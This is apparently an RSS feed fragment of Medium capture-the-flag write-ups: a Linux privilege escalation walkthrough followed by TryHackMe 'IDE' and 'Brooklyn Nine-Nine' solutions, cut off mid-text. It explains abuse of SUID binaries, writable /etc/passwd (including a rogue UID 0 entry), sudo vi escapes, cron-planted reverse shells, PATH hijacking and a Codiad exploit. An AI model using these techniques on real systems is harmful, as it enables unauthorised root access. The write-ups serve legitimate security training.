two main privilege escalation variants:</strong></p><p><strong>Horizontal privilege escalation:</strong> This is where you expand your reach over the compromised system by taking over a different user who is on the same privilege level as you. For instance, a normal user hijacking another normal user (rather than elevating to super user). This allows you to inherit whatever files and access that user has. This can be used, for example, to gain access to another normal privilege user, that happens to have an SUID file attached to their home directory (more on these later) which can then be used to get super user access. [Travel sideways on the tree]</p><p><strong>Vertical privilege escalation (privilege elevation): </strong>This is where you attempt to gain higher privileges or access, with an existing account that you have already compromised. For local privilege escalation attacks this might mean hijacking an account with administrator privileges or root privileges. [Travel up on the tree]</p><h3>Task 4: Enumeration</h3><p><strong>What is LinEnum?</strong></p><p>LinEnum is a simple bash script that performs common commands related to privilege escalation, saving time and allowing more effort to be put toward getting root. It is important to understand what commands LinEnum executes, so that you are able to manually enumerate privesc vulnerabilities in a situation where you’re unable to use LinEnum or other like scripts. In this room, we will explain what LinEnum is showing, and what commands can be used to replicate it.</p><p><strong>Where to get LinEnum</strong></p><p>You can download a local copy of LinEnum from:</p><p><a href="https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh">https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh</a></p><p>It’s worth keeping this somewhere you’ll remember, because LinEnum is an invaluable tool.</p><p><strong>How do I get LinEnum on the target machine?</strong></p><p>There are two ways to get LinEnum on the target machine. The first way, is to go to the directory that you have your local copy of LinEnum stored in, and start a Python web server using <strong>“python3 -m http.server 8000” </strong>[1]. Then using <strong>“wget”</strong> on the target machine, and your local IP, you can grab the file from your local machine [2]. Then make the file executable using the command <strong>“chmod +x FILENAME.sh”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*g-C6wR5_iOk5_EVO" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*gvQ5caHFVInnXz6A" /></figure><p><strong>Other Methods</strong></p><p>In case you’re unable to transport the file, you can also, if you have sufficient permissions, copy the raw LinEnum code from your local machine [1] and paste it into a new file on the target, using Vi or Nano [2]. Once you’ve done this, you can save the file with the <strong>“.sh” </strong>extension. Then make the file executable using the command <strong>“chmod +x FILENAME.sh”</strong>. You now have now made your own executable copy of the LinEnum script on the target machine!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*m3dUTHon47PxkJtu" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ncSQJNF_5yFLa6Dg" /></figure><p><strong>Running LinEnum</strong></p><p>LinEnum can be run the same way you run any bash script, go to the directory where LinEnum is and run the command <strong>“./LinEnum.sh”</strong>.</p><p><strong>Understanding LinEnum Output</strong></p><p>The LinEnum output is broken down into different sections, these are the main sections that we will focus on:</p><p><em>Kernel</em> Kernel information is shown here. There is most likely a kernel exploit available for this machine.</p><p><em>Can we read/write sensitive files:</em> The world-writable files are shown below. These are the files that any authenticated user can read and write to. By looking at the permissions of these sensitive files, we can see where there is misconfiguration that allows users who shouldn’t usually be able to, to be able to write to sensitive files.</p><p><em>SUID Files:</em> The output for SUID files is shown here. There are a few interesting items that we will definitely look into as a way to escalate privileges. SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. It allows the file to run with permissions of whoever the owner is. If this is root, it runs with root permissions. It can allow us to escalate privileges.</p><p><em>Crontab</em> <em>Contents</em><strong><em>:</em></strong> The scheduled cron jobs are shown below. Cron is used to schedule commands at a specific time. These scheduled commands or tasks are known as “cron jobs”. Related to this is the crontab command which creates a crontab file containing commands and instructions for the cron daemon to execute. There is certainly enough information to warrant attempting to exploit Cronjobs here.</p><p>There’s also a lot of other useful information contained in this scan. Lets have a read!</p><blockquote>Task4 (1):ssh connection</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*BXB0yG4VShtQI00gK3qTXA.png" /></figure><blockquote>Task4(2):hostname</blockquote><p>1st method: manual</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*5ACjtwUwd3H7EhX6_FivIg.png" /></figure><p>2nd method: LinEnum result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*jfs5rXMnZDPwkK3I5V8SzQ.png" /></figure><blockquote>Task4(3):/etc/passwd content</blockquote><p>1st method: manual</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*YETAnXQjFue-Tn6e5FhUDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*1nIP-EEQYqWnZt6MwBL8mQ.png" /></figure><p>2nd method: LinEnum result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*eoKbRmU9zC_wVgSII_G5nQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*Zm7p1A8ngSsXAnvhGD6XuA.png" /></figure><blockquote>Task 4(4):shells</blockquote><p>1st method: manual</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*tIyyIlQiYCfolWNnc8GkmA.png" /></figure><p>2nd method: LinEnum result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*GotEBOUWtxJZMMzGgaDx_w.png" /></figure><blockquote>Task 4(5):cronjob</blockquote><p>1st method: manual</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*BgyWskbybCH1DcywFDAbAg.png" /></figure><p>2nd method: LinEnum result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*JoIJOrgidAa9gf2i3s42ag.png" /></figure><blockquote>Task 4(6):writable /etc/passwd</blockquote><p>1st method: manual</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*XqNciS09jnkkazHyKOaiOA.png" /></figure><p>2nd method: LinEnum result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*pcg8_-YytLIapJQ5fSTIdw.png" /></figure><h3>Task 5:Abusing SUID/GUID Files</h3><p><strong>Finding and Exploiting SUID Files</strong></p><p>The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!</p><p><strong>What is an SUID binary?</strong></p><p>As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. Take a look at the following demonstration of how maximum privileges (rwx-rwx-rwx) look:</p><p>r = read</p><p>w = write</p><p>x = execute</p><p><strong>user</strong> <strong>group</strong> <strong>others</strong></p><p>rwx rwx rwx</p><p><em>421 421 421</em></p><p>The maximum number of bit that can be used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set permissions using <strong>“chmod”</strong> as <strong>755</strong>, then it will be: rwxr-xr-x.</p><p>But when special permission is given to each user it becomes SUID<strong> </strong>or SGID. When extra bit <strong>“4”</strong> is set to user(Owner) it becomes <strong>SUID</strong> (Set user ID) and when bit <strong>“2”</strong> is set to group it becomes <strong>SGID</strong> (Set Group ID).</p><p>Therefore, the permissions to look for when looking for SUID is:</p><p>SUID:</p><p>rws-rwx-rwx</p><p>GUID:</p><p>rwx-rws-rwx</p><p><strong>Finding SUID Binaries</strong></p><p>We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the command:<strong> “find / -perm -u=s -type f 2&gt;/dev/null”</strong> to search the file system for SUID/GUID files. Let’s break down this command.</p><p><strong>find </strong>— Initiates the “find” command</p><p><strong>/ </strong>— Searches the whole file system</p><p><strong>-perm </strong>— searches for files with specific permissions</p><p><strong>-u=s </strong>— Any of the permission bits <em>mode</em> are set for the file. Symbolic modes are accepted in this form</p><p><strong>-type f </strong>— Only search for files</p><p><strong>2&gt;/dev/null </strong>— Suppresses errors</p><blockquote>Task5(1):To search for all SUID files on a Linux system, we can use the find command. This command will locate all files that have the SUID bit set.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*ab40UFyxJWa2DLDUgCwLBQ.png" /></figure><blockquote>Task5(2):Then we execute /home/user3/shell and, as it has the SUID bit set, it will be executed as the root user, giving us a root shell.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*jGASOPUYa7567BHs4oFpUw.png" /></figure><h3>Task 6:Exploiting Writeable /etc/passwd</h3><p><strong>Exploiting a writable /etc/passwd</strong></p><p>Continuing with the enumeration of users, we found that <strong>user7 </strong>is a member of the <strong>root</strong> group with <strong>gid 0.</strong> And we already know from the <strong>LinEnum</strong> scan that <strong>/etc/passwd</strong> file is writable for the user. So from this observation, we concluded that <strong>user7 </strong>can edit the /etc/passwd file.</p><p><strong>Understanding /etc/passwd</strong></p><p>The /etc/passwd file stores essential information, which is required during login. In other words, it stores user account information. The /etc/passwd is a <strong>plain text file</strong>. It contains a list of the system’s accounts, giving for each account some useful information like user ID, group ID, home directory, shell, and more.</p><p>The /etc/passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/passwd must only limit for the superuser/root account. When it doesn’t, or a user has erroneously been added to a write-allowed group. We have a vulnerability that can allow the creation of a root user that we can access.</p><p><strong>Understanding /etc/passwd format</strong></p><p>The /etc/passwd file contains one entry per line for each user (user account) of the system. All fields are separated by a colon : symbol. Total of seven fields as follows. Generally, /etc/passwd file entry looks as follows:</p><p>test:x:0:0:root:/root:/bin/bash</p><p>[as divided by colon (:)]</p><ol><li><strong>Username</strong>: It is used when user logs in. It should be between 1 and 32 characters in length.</li><li><strong>Password</strong>: An x character indicates that encrypted password is stored in /etc/shadow file. Please note that you need to use the passwd command to compute the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file, in this case, the password hash is stored as an “x”.</li><li><strong>User ID (UID)</strong>: Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1–99 are reserved for other predefined accounts. Further UID 100–999 are reserved by system for administrative and system accounts/groups.</li><li><strong>Group ID (GID)</strong>: The primary group ID (stored in /etc/group file)</li><li><strong>User ID Info</strong>: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc. This field use by finger command.</li><li><strong>Home directory</strong>: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /</li><li><strong>Command/shell</strong>: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.</li></ol><p><strong>How to exploit a writable /etc/passwd</strong></p><p>It’s simple really, if we have a writable /etc/passwd file, we can write a new line entry according to the above formula and create a new user! We add the password hash of our choice, and set the UID, GID and shell to root. Allowing us to log in as our own root user!</p><blockquote>Task 6(1):From our enumeration stage, we determined that users in the root group can read the passwd file. Using the ‘getent group root’ command, we identified ‘user7’ as a member of this group. We then switched to this user using their provided password.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*E92CBPAg9KolYheDX2Y7Qw.png" /></figure><blockquote>Task 6(2):Since we are escalating our privileges from a normal user to a root user, this is considered vertical privilege escalation.</blockquote><blockquote>Task 6(3):As we have write access to the passwd file, we can generate a new entry and add it. Let’s create a hash using OpenSSL. The passwd file includes an ‘x’ field for password hashes, typically sourced from the shadow file. However, if we add our hash directly to passwd, it will be considered valid.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*nYEpW1oRcasOhZ61MBiS-A.png" /></figure><blockquote>Task6(4):new:hash:0:0:root:/root:/bin/bash</blockquote><blockquote>Task6(5):We added our entry to the passwd file, ensuring that the user ID (uid) part is always set to ‘0’ to gain root access to the system.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*tpGMYNxXsyL9Sc5Ygb3J5Q.png" /></figure><blockquote>Task6(6):We are now root :)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*fINLV5Kudxqs2-9LriuKtg.png" /></figure><h3>Task 7: Escaping Vi Editor</h3><p><strong>Sudo -l</strong></p><p>This exploit comes down to how effective our user account enumeration has been. Every time you have access to an account during a CTF scenario, you should use <strong>“sudo -l” </strong>to list what commands you’re able to use as a super user on that account. Sometimes, like this, you’ll find that you’re able to run certain commands as a root user without the root password. This can enable you to escalate privileges.</p><p><strong>Escaping Vi</strong></p><p>Running this command on the “user8” account shows us that this user can run vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user!</p><p><strong>Misconfigured Binaries and GTFOBins</strong></p><p>If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.</p><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><blockquote>Task7(1):We switch to user8.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*JOI3NtcuWuUHD4oiQIQjkQ.png" /></figure><blockquote>Task7(2):We ran sudo -l to check our privileges on the system and discovered that we can use the vi command (file editor) as root without needing to enter a password.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*C6Y390eXsaHH1_vRxynAuQ.png" /></figure><blockquote>Task7(3):Go to <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> and search for the vi command. Select the sudo section and copy the appropriate command.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MftUD7DoHNtMFZq48jekRw.png" /></figure><blockquote>Task7(4):We now have a root shell.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*HW0ZsIQxI2a_hJ9M69UiEg.png" /></figure><h3>Task 8:Exploiting Crontab</h3><p><strong>What is Cron?</strong></p><p>The Cron daemon is a long-running process that executes commands at specific dates and times. You can use this to schedule activities, either as one-time events or as recurring tasks. You can create a crontab file containing commands and instructions for the Cron daemon to execute.</p><p><strong>How to view what Cronjobs are active.</strong></p><p>We can use the command <strong>“cat /etc/crontab”</strong> to view what cron jobs are scheduled. This is something you should always check manually whenever you get a chance, especially if LinEnum, or a similar script, doesn’t find anything.</p><p><strong>Format of a Cronjob</strong></p><p>Cronjobs exist in a certain format, being able to read that format is important if you want to exploit a cron job.</p><p># = ID</p><p>m = Minute</p><p>h = Hour</p><p>dom = Day of the month</p><p>mon = Month</p><p>dow = Day of the week</p><p>user = What user the command will run as</p><p>command = What command should be run</p><p>For Example,</p><p><strong># m h dom mon dow user command</strong></p><p>17 * 1 * * * root cd / &amp;&amp; run-parts — report /etc/cron.hourly</p><p><strong>How can we exploit this?</strong></p><p>We know from our LinEnum scan, that the file autoscript.sh, on user4’s Desktop is scheduled to run every five minutes. It is owned by root, meaning that it will run with root privileges, despite the fact that we can write to this file. The task then is to create a command that will return a shell and paste it in this file. When the file runs again in five minutes the shell will be running as root.</p><p><strong>Let’s do it!</strong></p><blockquote>Task8(1):We switch to user4 with a given password.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*t82jbSCv02oj3nJzHwCUhg.png" /></figure><p>We observed that there is an automated script scheduled to run every 5 minutes by root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*20TkZypcymG0QW6RBfHQxg.png" /></figure><p>Below, we see that we have write access to it, so we can edit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*U4nIVbY5aDEaAYW3zxLQPA.png" /></figure><blockquote>Task8(2,3,4):Let’s create our payload using msfvenom. Use the -p flag to specify the payload. Remember to replace the LHOST IP address with your own local IP address.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_U82-RRFeHax04dHTWtFtg.png" /></figure><blockquote>Task 8(5):Location:/home/user4/Desktop</blockquote><blockquote>Task8(6):I added a simple reverse shell payload created with msfvenom to my file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqzCGxjApqEmKLdYCbf2Wg.png" /></figure><blockquote>Task8(7,8):I’ve set up a netcat listener on port 8888. After 5 minutes (as defined in /etc/crontab), our script will execute automatically, giving us a shell. The script runs with root privileges and we get a root shell, because it’s executed by the root user, as specified in the crontab file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j91_-AoOC46Fw-2qHRcyJA.png" /></figure><p>Here, I used ‘spawn shell’ to obtain a more standard shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*mxnj9UvtBiqNriMKyMZuVQ.png" /></figure><h3>Task 9:Exploiting PATH Variable</h3><p><strong>What is PATH?</strong></p><p>PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.</p><p>It is very simple to view the Path of the relevant user with help of the command<strong> “echo $PATH”</strong>.</p><p><strong>How does this let us escalate privileges?</strong></p><p>Let’s say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with “ps”. Unlike in our previous SUID example, in this situation we can’t exploit it by supplying an argument for command injection, so what can we do to try and exploit this?</p><p>We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we’ve written instead!</p><p>As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!</p><p><strong>Let’s do it!</strong></p><blockquote>Task9(1):We switched to user5.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*MRJfG4ZIrmluFsFYP4nSug.png" /></figure><blockquote>Task9(2):We used the ls command to inspect files and directories and discovered a script with the setuid bit set. Upon execution, we found that it behaves similarly to ls, indicating that it executes the ls command.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gnpcVmAVTY2hWjD_Bv-n-g.png" /></figure><blockquote>Task9(3):We changed to the /tmp directory and created our own ls command.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jsk_7ARlYDDsxDRndSZ3Cg.png" /></figure><blockquote>Task9(4):I wanted the ls command, when executed by a script, to add the setuid bit to /bin/bash. You can also try the given method on TryHackMe.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gO5-QOuUiL6-vefecctxgg.png" /></figure><blockquote>Task9(5):We need to made it executable.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4F6EbUH8FnIamGUJA2l5sw.png" /></figure><blockquote>Task9(6):To ensure that our custom ‘ls’ command is executed by the script instead of the original one, we change the PATH variable. By modifying the PATH, when the script calls ‘ls’, it will prioritize the version located in /tmp, where our custom ‘ls’ is placed.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFG4rJKjB7RKp4la1NRVNQ.png" /></figure><p>We checked the permissions of /bin/bash using the stat command (you can also try /bin/ls) and found that it has permissions 0755 (without the setuid bit).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-eT0itWsEpukV-uqihlKHg.png" /></figure><blockquote>Task 9(7,8).I used the cd .. command to go to the home directory, executed the script, and then checked the permissions of /bin/bash using stat. I observed that /bin/bash now has permissions 4755(setuid bit set)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MlafLB_L3-wFdpLwunqPvQ.png" /></figure><p>We used /bin/bash -p (referencing instructions from GTFOBins under the suid section for “bash”) and successfully gained root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*ZGwq_q5QWsMLyLWBkME7vQ.png" /></figure><h3>Task 10:Expanding Your Knowledge</h3><p><strong>Further Learning</strong></p><p>There is never a “magic” answer in the huge area that is Linux Privilege Escalation. This is simply a few examples of basic things to watch out for when trying to escalate privileges<em>.</em>The only way to get better at it, is to practice and build up experience. Checklists are a good way to make sure you haven’t missed anything during your enumeration stage, and also to provide you with a resource to check how to do things if you forget exactly what commands to use.</p><p>Below is a list of good checklists to apply to CTF or penetration test use cases.Although I encourage you to make your own using CherryTree or whatever notes application you prefer.</p><ul><li><a href="https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md">https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md</a></li><li><a href="https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html">https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html</a></li><li><a href="https://payatu.com/guide-linux-privilege-escalation">https://payatu.com/guide-linux-privilege-escalation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c6cb9e18102" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: IDE]]></title>
            <link>https://medium.com/@esm1ra.farziyeva/tryhackme-ide-6575ae13a75e?source=rss-da2762993009------2</link>
            <guid isPermaLink="false">https://medium.com/p/6575ae13a75e</guid>
            <category><![CDATA[vsftpd]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[ide]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Esmira Farziyeva]]></dc:creator>
            <pubDate>Sun, 12 May 2024 12:55:57 GMT</pubDate>
            <atom:updated>2024-05-12T12:55:57.380Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will be solving “IDE” which is one of the easy level rooms on the “<a href="https://tryhackme.com/"><strong>https://tryhackme.com</strong></a>” platform. The main purpose of this writeup is to help you if you encounter any difficulties. Let’s dive in and get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*8omfGnIpnXd_ZaAC2-HLew.png" /></figure><h3>Port scanning</h3><p>To identify open ports and gather information about active services, we utilize a technique known as ‘port scanning’ using the powerful tool ‘Nmap’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*XyNkq__cxyrH4ckTYMF9Zw.png" /></figure><p>After conducting the port scan, we discovered that four ports are open: 21, 22, 80,and 62337. Additionally, we found that anonymous FTP login is permitted.</p><h3>Port 21 -FTP</h3><p>Given that anonymous FTP login is allowed, we enter ‘Anonymous’ in the Name field. For the password, simply press ‘Enter’ without typing anything. Next, we use the ‘ls -la’ command to list all files and directories. Finally, we read the contents of our file using the ‘more’ command. The result reveals the presence of two users: “john” and “drac”. Additionally, it indicates that “john” has a weak password, as it is a default password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*-VH_nbDC5PphHJ5IqNNueQ.png" /></figure><h3>Port 80-HTTP</h3><p>Since we have open HTTP ports, we navigate to the corresponding website using the IP address and port number. However, there is nothing of interest found on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*Td1VUUA5_7KdxHDObFqEJg.png" /></figure><h3>Port 62337-HTTP</h3><p>Our platform is running Codiad 2.8.4, and we encounter a login form on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*UlE_jYD542m_YuCfBfFUnA.png" /></figure><p>Based on the FTP enumeration stage, we’ve discovered a user named ‘john’ with a default password. We can attempt default passwords or utilize tools like ‘hydra’ to find the correct password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*nb4Vz6orMeuHOBu-Cp3KDQ.png" /></figure><h3><strong>Exploitation</strong></h3><p>We have identified an exploit for Codiad 2.8.4, and we proceed to exploit it to gain access to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GaPKz4P40aDVy9wg8_y9BQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*ei3wvql4AESBfTE-X-Fnxw.png" /></figure><p>In order to utilize the exploit, authentication as a user is required. We provide the exploit with the URL, username, password, local IP address, and port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*LLcW03XdhaYjCjmvu0SkAQ.png" /></figure><p>We just follow what exploit says.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*oW7Wcg8gSE9MAdVOF-1ZEw.png" /></figure><p>After obtaining our reverse shell, we set our environmental variables to facilitate the usage of our shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*1i0qzSEZoSvkR5kYQCmeDw.png" /></figure><h3><strong>Privilege escalation — part 1</strong></h3><p>“When we list the home directory, we find a folder for the user ‘drac’. Inside that folder, we discover ‘drac’s password’ in the history file.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*cIbfweiysECK3jDZgrgDWQ.png" /></figure><h3>Port 22 — SSH</h3><p>We then log in to ‘drac’s account using SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*hs8orWBkoQGpFko0FbK2dw.png" /></figure><h3><strong>User flag</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*jCJWQuS3KCtR8VeQVyrwhQ.png" /></figure><h3>Privilege escalation — part 1</h3><p>After finding the user flag, our next objective is to escalate privileges to root . We examine our privileges and discover that we can restart the vsftpd service as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*Iv4I3Vlj4wo8-GnpqsokQQ.png" /></figure><p>Now ,we need to find the config file for vsftpd service.</p><pre>find / -name &quot;*vsftpd*&quot; 2&gt;/dev/null</pre><p>We discover several files and identify that the following file grants write permissions to the ‘drac’ user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*1gEG2D16qoYH2BStsEo1Vg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*8X-l0mb2-f0zzfYrfK6UGQ.png" /></figure><p>We modify the value of ‘ExecStartPre’ and add SUID (Set User ID) permission to ‘/bin/bash’, allowing the ‘drac’ user to execute it as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*jolZ8qj-nuR9X9AXbnSBvQ.png" /></figure><p>After reloading the daemon and restarting the service, we confirm that /bin/bash now has SUID permission. To exploit this privilege, we navigate to <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> and search for &#39;bash&#39;. From the search results, we select the entry for &#39;suid&#39; and follow the instructions provided. By doing so, we successfully escalate our privileges to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*Z45zow8eHiNaTltbcfPQTw.png" /></figure><h3>User flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*6_rXxWkbhCePOS1qf6ANgQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6575ae13a75e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Brooklyn Nine-Nine]]></title>
            <link>https://medium.com/@esm1ra.farziyeva/tryhackme-brooklyn-nine-nine-13d8bc6c71c3?source=rss-da2762993009------2</link>
            <guid isPermaLink="false">https://medium.com/p/13d8bc6c71c3</guid>
            <dc:creator><![CDATA[Esmira Farziyeva]]></dc:creator>
            <pubDate>Sun, 10 Mar 2024 14:46:51 GMT</pubDate>
            <atom:updated>2024-03-10T14:46:51.903Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will be solving “Brooklyn Nine Nine” which is one of the easiest rooms on the “<a href="https://tryhackme.com/"><strong>https://tryhackme.com</strong></a>” platform. The main purpose of this writeup is to help you if you encounter any difficulties. Let’s dive in and get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*l1ZX2GjsAf63CEYGBR_PeA.jpeg" /></figure><h3>Port scanning</h3><p>To identify open ports and gather information about active services, we utilize a technique known as ‘port scanning’ using the powerful tool ‘Nmap’.</p><pre>└─$ nmap -Pn -p- -sCV --open -oN nmap/open 10.10.142.138<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 06:20 EDT<br>Stats: 0:00:25 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan<br>Connect Scan Timing: About 32.90% done; ETC: 06:21 (0:00:51 remaining)<br>Nmap scan report for 10.10.142.138<br>Host is up (0.10s latency).<br>Not shown: 49632 closed tcp ports (conn-refused), 15900 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.11.68.89<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 3<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)<br>|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)<br>|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 64.55 seconds</pre><p>After 